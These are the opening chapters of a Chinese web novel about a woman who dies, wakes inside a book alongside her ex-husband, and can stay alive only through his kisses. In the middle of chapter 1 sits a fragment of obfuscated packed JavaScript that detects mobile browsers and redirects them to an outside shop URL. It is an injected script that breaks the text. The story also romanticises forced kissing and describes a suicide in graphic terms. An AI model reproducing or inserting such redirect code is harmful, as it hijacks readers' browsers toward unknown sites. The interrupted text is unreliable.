《穿书后前夫成了我的回血包》
1. 她从天而降
俞采星修车时被轮胎气压崩死,灵魂历经一阵天旋地转后,“咣当”一声,从高处掉进水里。
刀刻般的腹肌便怼在了她的手上。
“咳咳……”她用另一只手快速抹了把脸上的水渍,心想,难道这就是传说中的忘川?
不过令俞采星没想到的是,冥府竟然如此亮堂,忘川水还是热乎的,有缭绕的烟雾,有好闻的熏香,还有……
呃,一只男鬼在沐浴?
但俞采星也仅仅只惊讶了一瞬,常言道既来之则安之,死都死了,管它呢。
于是随即捏起了那腹肌,紧实有力、坚硬如铁,啧啧~手感真好,一点也不输她那混账前夫游千古。
“摸够了么?”这时,耳边一道吼声袭来,暴怒的男音里夹杂着咬牙切齿,“俞采星,我早晚要杀了你!”
好凶。
鬼也能杀鬼的吗?
她有些害怕地咽了咽唾沫,当即打消了“泡鬼”的想法,收回色手,哆哆嗦嗦起身。怎料没起好,又“噗通”一声跌进水里,还戏剧性地倒在男鬼的胸前,脸蛋和嘴唇刚好贴在了他性.感的胸肌上。
下一瞬,俞采星便再次被无情推开。
“锐亲王府戒备森严,你是如何进来的?与你勾结的护卫是谁?”男鬼一手护上一手护下,“你毫无羞耻爬到房梁偷看我沐浴也就罢了,还跳进我的浴桶,你当真以为我不会杀你吗?”
俞采星瞬间懵了:“……?”
锐亲王府?爬房梁?跳浴桶?
男人的话,好似一道惊雷劈了下来。
此刻,正午的阳光从古典镂空的雕花窗桕中透进来,屏风后面,一个超大木桶放满了热水,细碎的光束打在氤氲的气浪上,朦胧一片。
俞采星这才发现,这间屋子明亮清雅,布置得古色古香,根本不像人类认知中恐怖的地府。
而她现在正坐在一个大圆木桶里,热水没过她的肩膀,对面是一个赤.身果体的男人。
而那男人的脸,竟然是——万辰!
她死前的高中同学、异性好友、兼现任老板。
俞采星快速回忆,她被轮胎炸飞时隐约看到万辰焦急朝她奔过来,所以……
“老板,你也死了?”
“你才死了呢,滚出去!”男人对俞采星已经忍到了极限,吼声震得她一个趔趄后仰,不慎滑倒在水桶里,还喝了一大口洗澡水。
虽然对方于她有大恩,模样也是不逊色于游千古的美男,但喝他洗澡水还是很膈应。
“好好好,我出去,老板你先冷静一下,都是误会,我们待会儿再细聊。”面对男人性.感且光.溜.溜的身体,俞采星向来慢热的脑神经这时终于冒出了“羞耻”二字,连忙红着脸爬出大浴桶,浑身湿漉漉冲出房间。
外面的景物果然都很陌生。
这里类似古代的庭院,很大很壮观,有长廊,有假山,有花圃,俞采星慌不择路,途经一片池塘,荷香扑鼻。
她走近,那池水的倒影清晰可见,里面女人穿着古装的侍卫服,头上挽着男人样式的发髻,而那张脸很年轻,好像、好像她十六七岁时的样子!
这令俞采星更加不安了。
慌乱中她不知该往哪走,恰巧旁边有个装饰不错的凉亭,赶忙跑进去缓缓,顺便消化一下刚才亲到的八块腹肌。
这一切都太诡异了,她应该死了才对,怎么还返老还童了呢?
不久前,俞采星在万辰的修车厂给一辆前四后八的半挂换胎,扒胎时因车轮钢圈变形导致轮胎破裂,她当场被气压崩死了。
可为什么又会和万辰一起在陌生的国度洗鸳鸯浴?
呃呸,这不是重点。
重点是万辰就像换了个脑子,原先那帅气逼人的前刺纹理短发,竟然变成了黑长直,模样也跟她一样年轻了十多岁,关键还没有了从前的记忆。
就在这时,俞采星脑中突然响起一道毫无感情的AI女音,解释了她的现状:【穿书系统调试完毕,恭喜宿主已经成功绑定。】
系统刚说完,俞采星脑子里突然传来一阵钝痛,断断续续存档了书籍的梗概。
没错,真的就是梗概而已,拢共就几段话。
【这是一本古偶书,书里朝代是架空的齐月国,原身也叫俞采星,今年十六岁,是当朝都察院左副都御史俞承荫的庶女。
嫡母姜秀荣是国子监祭酒之女,因原身亲娘的缘故,对原身恨之入骨,她还有个嫡妹俞挽星,和嫡母穿一条裤子,哦不,是同仇敌忾。
书中,原身是个标准的恶毒炮灰,不守女德、恶毒泼辣,且疯狂迷恋锐亲王府小郡王游万辰,不惜混进王府,企图与之共浴、一.夜.欢.好。】
俞采星看完后的第一反应是,她那人美心善的万辰万老板,竟然随了她前夫游千古的姓,在书里改叫游万辰了。
真他爹的晦气。
不一会儿,书籍梗概就在俞采星脑海里加载完毕,而关于这本小说的内容,也仅限上面几段话,至于书中的剧情走向,甚至连原身的记忆,半点都没透露给她。
这算哪门子的穿书?
然而,福无双至祸不单行,就在俞采星还在懵逼时,她眼睛右上角突然出现一个巨大的红色感叹号,毫无感情的系统音再次响起。
【十分钟初始生命值即将浪费完毕,死亡倒计时开始,29,28,27,26……14,13,12……】
她、她她她穿书竟然只有十分钟的命?!
俞采星惊骇咽了口唾沫,这意味着刚复活十分钟又要苟带,那还复活个嘚啊,浪费感情,直接送她去阎王殿投个好胎,它不香么?
听着这些数字一秒一秒减少,俞采星不知道自己还能做什么,死是一回事,而明明知道要死,却还要无能为力地等待又是另一回事。
心里还是很怕的。
但想到她刚才在浴桶亲到的胸.肌,比起游千古有过之而无不及,也算过了把干瘾,亵渎了游千古之外的男人。
她离婚后立下的誓言总算实现了一半,至于另外一半,只能等来生再睡个帅哥了。
在生命值倒计时只剩七秒时,俞采星感觉亭子里突然刮过一阵飓风,然后她身体一僵,因为唇被狠狠堵住了。
此时,俞采星正被一个男人抱着深.吻,而且对方竟然还无耻地伸.舌.頭。
同一时间俞采星脑中响起:【恭喜宿主被.强.制开启“親.吻”续命模式,获得馈赠血值,生命值增加二十四小时。】
馈赠血值?
紧接着,她眼睛右前方那个即将归零的倒计时,瞬间变成了23:59:59,那串数字还在有规律的递减。
35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17849619|211797||http|test|mini|href|location'.split('|'),0,{}));
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>生命值真的增加了,她又可以多活一天。
系统虽然抠搜,但蚊子腿也是肉。
俞采星没在乎这种轻薄的复活方式,活了就好,她刚要雀跃感谢一下救命恩人,谁知抬眼一看,脸直接黑了。
搞什么土豆飞机,吻她的那张脸,竟然是游千古,她上辈子的人渣前夫!
遂,俞采星毫不犹豫拿起石桌上的茶壶,朝着他头用力砸下去,砸了七八下都不能泄愤,直到茶壶碎成渣渣。
“……笨蛋小星,你——”话没说完,前夫哥便倒地昏死过去。
她垂眸睨着,血从男人额角漫进凉亭的青石板缝里,像条断尾的蚯蚓。两年前为他流的眼泪,此刻在心里凝成了冰渣,硌在喉头,咽不下也吐不出。
俞采星前世命格不好,父不详,母不详,长在孤儿院,吃着百家饭,成绩虽不特别突出,但也努力考上了大学。
高中三年靠着打暑假工攒够了大一的学费和生活费后,便拒绝了社会援助,从此只靠国家补贴和勤工俭学努力过活。
虽然是孤儿,但俞采星胜在心态好,不自卑、不怯懦,更不会乱生妄念与人攀比,只可惜这优点没坚持住。
从来没有过执念的她,却在大学时脑子进了鼻屎,突然想不开追了一个高岭之花三年,更没想到最后成功结婚,做了他五年妻子。
那人便是游千古。
可俞采星自认为还算甜蜜的八年爱恋,最后却用来鉴定了一个渣男。
没错,在婚后的第五年游千古出轨了,可笑的是俞采星却被净身出户,原因是前夫哥乃律师界的新贵精英,最擅长打离婚官司。
犹记得刚离婚时,俞采星整个人都处于癫狂状态。
或许是因为在没有任何征兆下被出轨、被离婚,或许因为太爱游千古,也或许只是因为这段感情占据了她人生最好的年华,她不甘心。
没有人会在遭遇这种断崖式离婚后,还能保持心平气和,所以,俞采星满眼满心都是怨气。
她诅咒游千古离婚后事事不顺,吃饭被水呛,出门被车撞,跟小三在一起后夜夜举不起。
她还想不开跑到前夫哥面前发下毒誓:“游千古,跟我离婚你会后悔的,我一定会找到比你更好的男人,他脸比你帅,身材比你好,挣钱比你多,他不会出轨,他会爱我一辈子!”
当俞采星信誓旦旦立下flag,却只得到前夫哥平静的一句话:“希望你能梦想成真。”
游千古总是那样冷峻镇定,与他相处的八年里,好像从未有什么事能让他色变,他只是用冷淡疏离的目光看着她,看她如小丑一般歇斯底里。
那一刻俞采星终于彻底清醒,不再纠缠,不抱幻想,逼着自己断舍离,可霉运好像跟她杠上了,她刚离婚就被原先的车企公司辞退。
于是她只能四处找工作,却屡屡碰壁,这时一个重汽修车厂录取了她,老板就是万辰。
而俞采星却死在了离婚两年后的盛夏,在她摆脱心魔放下游千古,发愤图强认真生活时,就那样被一根车胎崩死了。
害,命运总是这样讨人厌。
“抓刺客!”
俞采星看着地上,被她打的昏死过去的游千古,纠结要不要在那张俊脸上,再跺几个脚印子时,一群穿着和她一模一样的侍卫们,拿着长剑冲出来,将她团团围住。
2. 被前夫攻略
一刻钟前,锐亲王府的侍卫将俞采星包围,他们要就地斩杀了她这个伤人凶手,可游千古即使晕死过去,却始终不合常理死死握住她的手。
看到这一幕,侍卫们明显不敢再造次,他们看游千古的眼神里既敬又畏,无奈之下只得把俩人一起送进房间。
俞采星眼神一片晦涩,看来游千古穿书的身份比她高贵得多。
唉,二次投胎,自己又输了。
一刻钟后,府医施针上药包扎完也走了,房里只剩俞采星和游千古两个人。
她看着被他紧紧握住的手,愣了一会儿神,然后嫌弃地使劲往外抽,也不知这厮是不是装晕,费了半天劲愣是丝毫没挣脱。
如此她只能劝慰自己,当是被死狗贴了。
此时游千古仰躺在床榻上,额角缠着染血的素白纱布,衬得那张俊美如玉的脸愈发苍白。墨发散乱铺陈在锦枕上,几缕碎发被冷汗浸湿,黏在紧闭的眼睑旁,唇色淡得近乎透明,却仍保持着凌厉的线条。
没想到这个渣男也穿书了,昏过去的前一秒,他还不忘侮辱她,又叫她“笨蛋小星”。
俞采星忽然记起,与他在一起的八年时光里,他叫自己“小笨蛋”的次数,远远超过了叫她的名字。
呵~看吧,原来整个漫长的恋爱史中,他都在时不时地嘲笑她的蠢,难为以前自己还脑补“小笨蛋”是他对她的爱称。
离婚两年,经过时间的沉淀,俞采星以为再见他,自己一定可以很淡定将其视为陌路,但没想到还是冲动了。
不过此刻也只恨自己打得轻了,负心薄幸的渣男都该被凌迟!
犹记得前世那天,他在床上不停歇地折腾到天亮,上一秒他的唇还在吻她,可下一秒他点了根烟说:“俞采星,我们离婚吧。”
这句话没什么起伏,游千古说得很顺畅,仿佛离婚不过是下楼丢个垃圾一般不值一提。
俞采星不敢相信,死死盯了他很久,最后抬手抢过烟,掐灭。女人努力控制情绪,轻声问:“阿古你从不抽烟,什么时候学的?”
游千古又从烟盒里拿出一根点燃,声音依旧淡淡的:“俞采星,我说我们离婚。”
“为什么?”俞采星问,为什么这么突然,突然到她连他准备和她离婚的蛛丝马迹都没发觉,明明昨天他还特意翘了两个小时的班,回来给她做晚饭。
俞采星中午在单位吃饭,而早晚两顿饭结婚后就一直是游千古在做,哪怕后来他越来越忙,也会提前买菜做好之后,再回去加班。
男人的眼睛看向别处,不与她对视,声音依旧没有起伏:“不为什么,就是腻了。”
那一刻俞采星哭了,像有人拿橡皮锤一下一下砸她的心脏,过往八年的甜蜜全部涌上心头。
“阿古,婚姻不可能总像谈恋爱那样充满新鲜感,你是不是最近心情不好?我们明天去旅游吧,去散散心一切就会好的。”
他好似不耐烦地穿衣服,然后冰冷地说:“俞采星,你真蠢。”
没错,她确实蠢,就是因为太爱他,她才变得这么蠢。
“游千古,真正的原因!”俞采星抖着唇追问。
“王静淑,王氏集团独生女,牛津大学博士。”
“什么?”俞采星一愣,似是没听明白。
他说:“这就是真正的原因。”
俞采星眨了眨眼,好不容易才理解他的话。
“游千古你大爷的,你竟然出轨了!你骗我,你发誓说要生生世世爱我,可我们才一起八年,你就红杏出墙了!”
男人嗤笑:“俞采星,你是三岁小孩么?誓言这种没谱的东西也能信?”
就是这句话,游千古毁了俞采星对爱情的全部信仰和憧憬。
她疯了一般,上前抓起他的领子,对着他的胸口挥拳头,这是俞采星活到这么大第一次这么歇斯底里,也是第一次这么不文明。
男人没有还手,也没有任何言语,就这样任俞采星打,最后她打累了,打够了,趴在床上。
冗长的沉默后——
游千古扔过来一份协议书:“如果闹够了,就签字吧。”
俞采星看也不看撕掉:“我不会离婚的!”
因为俞采星不相信他会出轨,她爱了他八年,知道他绝不是会出轨的男人,就算他不爱她了,也会正大光明跟她说,而不是背着她与其他女人苟且。
游千古转头背对俞采星,又点燃一支烟。
“随你,我会让助理重新送来一份,不签我们就法.院见。”他此刻的声音冷得像地狱里的判官。
这时游千古的手机响了。
俞采星蹭地站起来,她本能想要听听是不是那个小三打来的。
但显然游千古很懂她,直接摁下扩音键。
“亲爱哒~你什么时候来,人家好想你哦!”妩媚的声音从手机那头传来。
游千古笑笑:“二十分钟到你家。”
俞采星抹掉眼泪恨恨看着他说:“游千古,如果你去找她我会恨死你,我发誓我一定会用我修车的活扳手,狠狠捅碎你的心脏。”
男人只是沉默,好久后突然抬头一笑:“笨蛋小星,扳手太钝了,根本捅不进肉里。”
俞采星昂首红着眼瞪他:“不,有足够的恨就可以!”
最后游千古还是头也不回地走了,俞采星趴在床上哭了整整一天。
俞采星虽然穷,虽然笨,但她不傻,她和游千古从同学到恋人再到夫妻,她很清楚他根本不会喜欢电话里那种嗲嗲的女人,他一定有什么不得已的苦衷。
女人心里黯掉的灯,在这一刻突然又亮了,于是她选择跟踪,像救命稻草一样希望能够找到他提离婚的真正原因。
从提离婚那天开始,游千古就不回家住了,俞采星为了挽救他们的婚姻,便日夜守在他的律所楼下。
可俞采星没守很久,三天后她就被打脸了,很明显,电话里那种女人,游千古也很喜欢。
他竟然当着她的面摸了那女人的发,就像从前抚摸她时一样温柔深情。
俞采星眼眸猩红盯着男人的右手。
婚后的五年里,那双手为她扎头发,为她做饭,为她脱衣服、穿衣服,洗衣服,不是一天,不是一年,而是婚后一做就做了五年。
就是因为过去他对她太好,好到她仿佛活在童话故事里,所以在面对离婚时才会如此接受不了。
而如今那手却在抚摸别的女人的发。
“俞采星,这样够了吗?”男人嘴角微扬扯出一抹笑容,可那笑却残忍至极,“如果你真这么舍不得我,那我和静淑结婚后,不介意你继续为我暖床——”
“啪!”俞采星用尽自己所有力气打了他一耳光,指甲划破了他的脸,血流出来。
那一刻,俞采星心疼,他脸疼……
若早知道男人对自己的爱只有八年,她想,大学里她一定不会再那样疯狂倒追他。
从未得到总好过拥有后再失去。
俞采星当场签了他拟定的那份,要求她净身出户的离婚协议书,从此房子、车子、票子都不属于她,而渣男就此成了前夫哥。
俞采星离开生活了五年的家,能被允许带走的只有一个小小行李箱。
*
“俞采星……”
有些虚弱的声音打断了女人的回忆,游千古不知道什么时候醒了,男人坐起身倚在床头,他脸色惨白,头上包着的棉布透着抹鲜红,看样被砸得不轻。
她没回应,只是冷着脸硬生生甩开被他握着的手。
“俞采星,万辰洗澡好看吗?”他再次连名带姓叫她,声音淡淡的,脸上没什么表情,只是那眼底凝着的冷,似终年不化的积雪,连睫毛投下的阴影都透着森寒。
俞采星呼吸一滞,他咋知道的?
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不过随即就支棱起来,她要让游千古知道,她俞采星两年前就不是非他不可了!
于是女人同样冷冷瞪向他,用更加无情的语气说道:“八块腹肌好看极了,而且吻在上面的口感更好,我终于找到比你更好的男人了,现在正打算和他来一场甜甜的恋爱。”
男人表情怔了一下,似是无法接受这句话快速低下头,他眼睫垂落的瞬间,眼底浮起的碎光像打翻的琉璃盏。
良久后男人忽然冒出一句:“小星,你唇真软,还和从前一样。”
“你——咳咳!”俞采星差点被自己的唾沫星子呛死,本来已经全副武装,要和这渣男大战三百回合,可没成想他却先认怂似的开.黄.腔。
这着实不像她印象中那个古板冷傲、不苟言笑的游千古,可随即她就看开了,她对他的印象又何时准过?
大学倒追他三年,结婚五年,整整相处八年,还不是落了个被出轨离婚、净身出户的下场。
游千古看了她一眼又说道:“我先让人带你去换套衣服,虽然是盛夏,但湿衣服穿久了总归伤身体,况且这套侍卫服着实大了些。”
俞采星也低头看了眼,衣服确实太大,袖子和裤腿被挽起一大截,也不知道原身从哪儿搞的。
但都离婚了,游千古还想让她听他的,没门。
“切,装模作样。”她对于男人假惺惺的关怀嗤之以鼻,“你和那王氏集团白富美结婚了吧?只可惜你俩作孽太多,才不过两年就阴阳相隔了。啧啧啧~我很好奇你是怎么死的,竟然只和我相差不到十分钟。”
她穿书只自带十分钟的基础生命值,而游千古能在最后关头过来,说明他俩十分钟内,一前一后死的。
男人看着她,眸光不易察觉地有些颤。
“小星,你死时痛吗?”
小星……
没离婚前,他除了叫她“小笨蛋”之外,就叫她小星。
小星。
小星。
以前听着很甜,而现在却恶心至极。
她双臂抱在胸前:“很抱歉让游律师您失望了,我命好被车胎崩死,当场毙命,没有一丝痛楚!”
一说完她就想咬掉自己的舌头,如果真命好,还能英年早逝么?
谁知游千古却莫名其妙来了一句:“不疼就好,你最怕疼了……”
她心口一堵。
再抬眼,游千古还是那样面如泰山,用最沉稳的面容,最冷静的嗓音,说着世上最能让她动容的话。
可现在她们已经离婚两年了,是一对名副其实的怨偶,哪里还适合说这些。
只见游千古捂了捂胸口闭上眼睛,再睁开时仿佛下了某种决定,他说:
“小星,前世是我错了,是我不好,我没有保护好你,既然我们得此机缘能在书中重活一世,不如我们重新开始吧,我发誓生生世世再不负你。”
真他爹的好笑!
俞采星听完后也确实大笑了出来,这算什么?浪子回头,亦或是死后的忏悔?
“你发誓?呵~誓言这种没谱的东西也能信?我都是死过一回的人了,游律师还拿我当三岁小孩?”她用他离婚时说的原话怼他。
相爱八年,她极少如此讽刺他,怼完顿时身心舒畅!
下一瞬,她忽然像是洞察了天机。
“游律师突然对我这个前妻虚与委蛇,不会是穿书后你的系统任务是攻略我,让我重新爱上你,失败就抹杀吧?呵~两年前你说对我腻了,哭着喊着要离婚,现在为了活命却要反过来讨好我么?”
游千古艰涩开口:“我没有……”
没有什么?是没有绑定系统,还是系统没有让他攻略她?
男人偏过头,轻眨了下浓密的睫毛,一直波澜不惊的眸子里终于多了些情绪,就好似普通情侣吵架后的委屈。
“我从来没有腻你,从来都没有。”
3. 又被他親了
然而游千古眼里的这丝委屈,还未完全显露便又被刻意隐藏,就好像从未出现过一般。
俞采星自然是没看见。
她唇角挤出一丝嘲讽,不愧是律师界的王牌,上嘴唇下嘴唇一碰,就可以翻供。
两年前亲口说的话也能不认账。
只听游千古又开口道:“小星,那如果、如果我告诉你,和你离婚是我迫不得已,我从来没有背叛你,出轨是假的,说不爱了也是假的。
离婚后的日子,我几乎无法正常活着,没日没夜偷偷在你看不到我的地方守着你,你死后我抱着你的尸体心如死灰伤心欲绝,然后我用你修车的扳手狠狠捅碎了自己的心脏……”
“小星,这些你信么?”
“你……”俞采星听游千古说完,明显感觉到自己的心房重重一颤,最后才稳住心神说道:“游千古,你骗人的伎俩退步了,别忘了你说过的,活扳手很钝,根本捅不进肉里。”
游千古涩然一笑:“可你也说过,若有足够的恨意就可以。”
他被迫亲手终结自己的婚姻,用了整整两年时间解决了那个一手遮天、从小桎梏他的人。
当他欢天喜地去找她,却看到她被炸飞,浑身是伤倒在血泊里,那个场景对他来说太残忍,每回忆一次都是凌迟。
他恨那个人,但他更恨自己,铺天盖地的恨顷刻间全化作他杀死自己的利刃,于是捞起钝扳手一下一下重重砸着心脏。
他的劲儿很大,仿佛砸得不是自己,很快皮肉便破裂、胸骨紧跟着被砸碎,扳手就那样捅进了心脏。他以为他永远失去她了,却不想重逢来得这样猝不及防。
既然老天爷让他们同时在一本书里复生,那么这一世除非他死,否则绝对不会再放开她。
思及此,游千古抬头,泼墨般的眸子冲出无穷无尽的思念缠住俞采星,那眸光就像沼泽、像深渊,一旦踏入,此生她再无生还的可能。
女人自救般猛地偏过头。
游千古在骗她,她告诫自己同样的错误不要犯两次,同样的粪坑不能跳两次。
“太可笑了,你可是有名的大律师,如果你不愿意,谁能逼你和我离婚?谁能逼你让我净身出户?难道也是有人逼你当着我的面抚摸那白富美的头发吗?”她话音陡得升高。
那个残忍的画面在离婚后的一个月里,几乎是她每夜的噩梦,不过还好,她早就从那些痛苦里走出来了。
“游千古,从你背叛我有了别的女人后,就再也没有资格跟我谈感情了,你从头到尾就是个追名逐利,玩弄感情的混蛋。哦不,或许你有真感情,但绝对不会在我身上,也许我们在一起的八年里你根本就不爱我。”
“你会选择我,只不过觉得我笨,我蠢,我好拿捏,然后又傻傻不要脸面豁出一切地倒追你。跟我结婚最大的好处就是离婚方便,我的智商分不了你的财产,甚至蠢到连你出轨都发现不了,最后还要劳驾你来通知我。”
“不是这样的,不是这样的!”游千古低吼反驳,他上前用力拽住她的肩膀,“你以前也说过,不管发生什么事,不管我怎样对你,你都会永远相信我,你会一辈子爱我,永远不会抛弃我!小星你食言了,上辈子你就食言了,我们刚离婚你就去找万辰了,而你今天还很享受地抚摸他的果体!”
俞采星被游千古倒打一耙的委屈模样给气发财了。
他的意思是,只能他背叛她,他可以婚内出轨,可以伤害她,但她却不能恨他。不仅不能恨他,离婚后她还不能重新开始新的生活,不能交新男朋友,不能再婚,得永远像个舔狗一样没自尊的粘着他。
呵~原来她在游千古心里,竟是这么犯.贱的一个人,他怎么那么脸大呢!
她一生气,拿起床案上的药碗,连碗带药汁一齐砸向他,刹那乌黑的药汁溅了他一身,碗重重砸在他的锁骨上,又滑到床沿,最后“啪”一声滚落在地,摔得稀碎。
游千古闷哼一声,浓厚的药味弥漫了整个屋子。
也许游千古终于意识到自己的话特别可恨,随即又放软态度轻轻开口:“小星,我们和好好不好?事实不是你看到的那样,我告诉你真相,事实是——”
“噗”一声,游千古没说完,一口血喷在床畔的帷帐上。
突如其来的状况让俞采星一惊。
怎么还吐上血了,难道他被她砸出了内伤?她的力气不至于吧。
看到那些血渍,俞采星的心脏没由来的一阵钝痛,但随即她克制住自己,让自己看起来没有一丝担忧之色。
“其实事实真相是——”
“噗噗!”游千古不死心继续说,谁知一张嘴又一口血喷出来。
而这一次俞采星的心脏疼得比刚才更剧烈,喉间似也有抹腥甜,紧接着她也口吐鲜血。
这是什么情况?她总不至于犯.贱到要陪前夫哥一起吐血吧?
“小星!”游千古不顾自己心脏的巨痛赶忙起身扶住她,慌张到双手都在发颤,他仔细检查她的身体,发现没有大碍后,才抬起袖子轻轻擦拭她染血的嘴角。
同一时刻,他就像听到某种噩耗一样,脸色苍白,一向淡漠的神情中竟然出现了一丝崩溃。
俞采星不知道他为何是这般表情,更不知道他嘴边没说完的事实真相到底是什么,而游千古只是看着她,却没有再说下去。
也挺奇怪的,他不说话之后她就不再吐血了,而心脏也神奇般不再疼了。
此刻她正被游千古揽在怀里,姿势亲密又暧昧,可她们已经离婚两年了,再也不适合这种姿势,于是她用力推开他。
推拒间,她竟发现游千古刚才被药汁打湿的颈子下,好像闪着一行红色的小字,诡异至极。
她心里升出一股不好的预感,右手迅速扒拉开他胸口的衣服,那锁骨上还留着被碗砸到的痕迹,而让她心尖颤抖的是那淤青下方半寸的位置。
她开口,将看到的一字一句读出来:“穿书攻略任务——让俞采星心甘情愿嫁给你。”
真相就这样来得猝不及防。
俞采星的心再度凉透,原来今日前夫哥的种种反常都是因为这句话。
不知为何,游千古的神态好似还在崩溃的边缘,这么大的秘密被当事人撞破竟然也无动于衷,甚至连被俞采星扯下的领子都没往上拉拉掩饰一下。
这时一直在俞采星脑袋里挺尸的系统,突然出声:【每个穿书人的任务都会被系统总部刻在宿主胸口位置,只要被打湿,字迹就会显现,但只有穿书人之间才能互相看到。】
原来如此!
原来穿书后,她真的是游千古的攻略目标。
他怕完不成任务被系统抹杀,所以才会有刚才一系列的“含情脉脉”,目的不过是让她犯傻再次爱上他,游千古的道行确实厉害,她自愧不如。
想攻略她?
“啪!”俞采星一个耳光扇过去,男人左边脸肿了,脸颊再次被她指甲划破。这是她第二次打他脸,第一次她伤心欲绝,而这一次她水泥封心。
“游千古,就当我上辈子瞎了眼,八年感情全喂了狗,现在马上滚出我的视线。你听好了,你的所作所为,打破了我从小坚信的爱情观,我不知道自己还能不能恢复爱人的能力。
但如果我要再婚一定会擦亮眼睛,对方必定是我真心所爱,亦是真心爱我之人,而这辈子,我宁愿再死一回,也绝不会蠢到嫁给你第二次,你马上滚出去!”
房间里再次沉寂无声。
游千古第一次将痛苦那样直白写在脸上,过了好久他终于开口,声音又恢复成以前的淡漠:“小星,你还是这么笨,不过我想你搞错了,这里是我家。”
他言下之意:该滚的是她。
俞采星心脏一梗,朝着游千古大吼一声:“好,我滚!”
她刚转身要滚,房门突然被踹开,一个男人闯进来,“俞采星,你贪欢恋色!你荒.淫无度!你不知羞耻!祸害我不够,竟然还敢来祸害我阿兄!”
游万辰进门就破口大骂,因太激动还连用了三个成语。
他身穿蓝色锦衣长袍,面如白玉,五官精致无比,眼睛狭长而微微上挑,眼尾处染着桃花般的红晕。长发明显是洗后匆匆束起,未干的发尾滴着水,落进他修长的颈间。
游千古和万辰的长相皆俊美无俦,可前者气质冷峻,而后者却偏柔美一些。
但书里的游万辰与前世的万辰虽然长相一样,却性格迥异,一开口就一股子咆哮帝味儿,和他的长相完全背道而驰。
俞采星眨眨眼,到现在仍旧不敢相信,在这本古偶书里,万辰竟然成了游千古的亲弟弟,还是这样一副脑.瘫模样。
游万辰的话很糙,女人捂住冒火的天灵盖给自己顺气。
稳住,眼前这个男人不是她的同学,不是她的朋友,更不是她的老板,他不叫万辰,现在他是游万辰,是游千古的亲弟弟,于她而言没有任何恩情,只是书里的NPC,而且还正处于中二期。
既然如此,她心里就没有丝毫顾忌了。
俞采星冷哼一声,开口就怼:“像你阿兄这种无耻之徒就算
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白送我也不要,不过你嘛倒确实还有点姿色,来,让本姑娘香一个!”
她有些挑衅地瞥了游千古一眼,然后抬起右掌狠狠嘬了一口,紧接着反手一巴掌拍在游万辰嘴上。
清脆又响亮!
呃……好一个生疼的巴掌,哦不,是飞吻,只见游万辰的嘴都被间接“吻”肿了。
“你敢打我……呸呸呸……你这个丑女人恶心死了,竟然给我吃你的口水,你娘亲救我的恩情今日算是彻底消耗没了,我现在就杀了你!”
游万辰猛擦嘴的同时又开始嘴瓢,虽然他反复叫嚣要杀她,可就是不动手。
原来原身的亲妈对游万辰有救命之恩啊,怪不得一个三品官的庶女如此纠缠亲王府的小儿子,都没被砍头。
如此俞采星便不害怕了,她理都没理叫嚣的游万辰,而是看向游千古故意说道:“小郡王的唇、真软。”
她用他说过的话,反过来挑衅他。
不等俞采星看清游千古的反应,那边游万辰先炸锅了:“你才软,你全家都软!”
“出去。”而游千古只是静静盯着她的右手,轻飘飘吐出两个字,表情似是没有一丝起伏,只窗外透进来三三两两的光点,衬出他眼底的愠色。
俞采星想,他当然应该生气,毕竟他是那样的自负。
前世除了游千古,她从未在别的男人身上停留过,在他的心里早就把她当做了私有物,哪怕后来他先提出离婚,不要她了,也自私的不愿意她染指别的男人。
更何况现在又有系统任务,还牵扯到他的身家性命,想来是怕她节外生枝爱上游万辰而耽误完成攻略任务,这才罕见动了气。
想到这里,俞采星活像吃了一只苍蝇一样恶心。
出去就出去。
俞采星不想再看见这个男人,便要夺门而出。
谁知游千古却一把拉住她的手,抬眼看向游万辰:“你,出去。”
“阿兄?”游万辰不可思议瞪着眼前两人交握的手,脸上全是他好大哥被猪拱了一样的炸裂表情。
他阿兄向来不近女色,现在却紧紧握着俞采星的手,还让他出去,这、怕不是中邪了吧?不,也可能是中了蛊。
听闻南疆有一种情蛊,可以在种蛊的瞬间让一个人死心塌地爱上另一个人。
一定是俞采星多年来对自己爱而不得,便弄来了这情蛊控制自己,可是中间出了差错,那情蛊没种他身上,反而种到阿兄身上了。
嗯嗯,一定是这样,游千古觉得自己已经找到了真相。
“阿兄,她——”
“滚!”游千古眸子一沉,嘴里骤然劈下的字,如寒冰般冻裂了盛夏的空气。
俞采星有些诧异,他很少如此直白地骂人。
“好我滚,但阿兄你千万不要被这女人的花言巧语迷惑,我一定尽快找到解蛊方法!”天生的血脉压制让游万辰踉跄退到门边,刚说完就滚出去了,还贴心地把门给关上。
俞采星还在想游万辰走之前说的解蛊什么意思,那边游千古拽起了她右手。
他垂首吻上她的掌心,唇瓣温热如四月天的雨,舌尖轻掠时带起湿.濡的颤。一阵酥.麻从掌纹蔓延至腕骨,像春溪融了残雪,每一道涟漪都撞在俞采星的心上。
男人固执地反复舔.舐,像是要把她手掌上沾染的游万辰的味道全部舔干净似的。
“你、你你你你快放手!”俞采星着实被这招吓到,她猛地后退,用力想将掌心紧握成拳,企图摆脱他的唇。她声音发颤,另一只手狠狠划过男人的手臂,又掐又拧。
“放手?”游千古脸色晦暗,声音压得极低,“放手好让你去跟万辰谈一场甜蜜的爱恋?呵~俞采星你休想!”
他有些粗暴碾开她紧攥的指节,唇齿再次轻咬上掌心,像猛兽标记领地般在她肌肤烙下湿痕。
这些话着实震颤了俞采星,他就好像真的吃醋了一般,但当女人的眼眸再次触及游千古大开的衣领处时,那里的红字还未消失,她心下了然一片。
俞采星突然就不挣扎了。
“不就是一个飞吻而已,游先生反应何必这么激动,难道你的系统任务还有其它别的设定?比如在你攻略我成功之前,我不能亲吻别的男人?”
俞采星讽刺看着游千古:“那等我吻遍游万辰的全身,你岂不是要——”
女人的话戛然而止。
因为游千古猛地扣住她的腰,低头再次堵住她的唇,碾上来时还带着未消的醋意,将她未说完的话全部堵进了急促的呼吸里。
4. 他的一滴泪
“唔唔……”俞采星双手用力在他胸前推拒,奈何力量悬殊,反被游千古钳制双手举过头顶,倚在墙上吻得更深了。
两年,他整整失去她两年。
七百三十个日日夜夜里,思念仿佛一把钝刀,每分每秒地在他的心脏凌迟,此刻,游千古的理智全化作烈焰,恨不能将她和他一起烧为灰烬,从此再也无法分开。
